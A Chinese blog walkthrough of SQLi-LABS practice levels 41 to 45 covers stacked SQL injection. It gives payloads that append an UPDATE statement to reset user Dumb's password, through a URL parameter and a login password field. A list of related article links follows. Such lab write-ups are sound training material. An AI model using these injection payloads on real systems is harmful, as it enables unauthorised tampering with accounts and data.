SQLi-LABS通关攻略【41-45】

SQLi-LABS 41关

这一关是堆叠注入

测试闭合

?id=1' //回显错误

?id=1'--+ //回显错误

?id=1--+ //回显正确

所以是数字型的注入

测试堆叠注入,更改Dumb的密码

复制代码
?id=1;update users set password='123456' where username='Dumb'--+

SQLi-LABS 42关

这一关使用的是post传参,所以需要进行抓包,依旧是堆叠注入

在密码处进行堆叠注入,更新Dumb的密码为123

返回登录测试是否更改成功

SQLi-LABS 43关

这一关和上一关一样,都是密码处是堆叠注入,只不过闭合方式是单引号加括号

复制代码
1'); update users set password='666' where username='Dumb' --+

SQLi-LABS 44关

这一关和四十二关一样

SQLi-LABS 45关

这一关和四十三关一样,都不在赘述

相关推荐
ruleslol8 分钟前
MySQL的段、区、页、行 详解
数据库·mysql
Learn-Python24 分钟前
MongoDB-only方法
python·sql
while(1){yan}25 分钟前
MyBatis Generator
数据库·spring boot·java-ee·mybatis
それども34 分钟前
MySQL affectedRows 计算逻辑
数据库·mysql
是小章啊42 分钟前
MySQL 之SQL 执行规则及索引详解
数据库·sql·mysql
富士康质检员张全蛋1 小时前
JDBC 连接池
数据库
yangminlei1 小时前
集成Camunda到Spring Boot项目
数据库·oracle
ChineHe2 小时前
Redis数据类型篇002_详解Strings核心命令与存储结构
数据库·redis·缓存
清水白石0083 小时前
《从零到进阶:Pydantic v1 与 v2 的核心差异与零成本校验实现原理》
数据库·python
电商API&Tina3 小时前
京东 API 数据采集接口接入与行业分析
运维·服务器·网络·数据库·django·php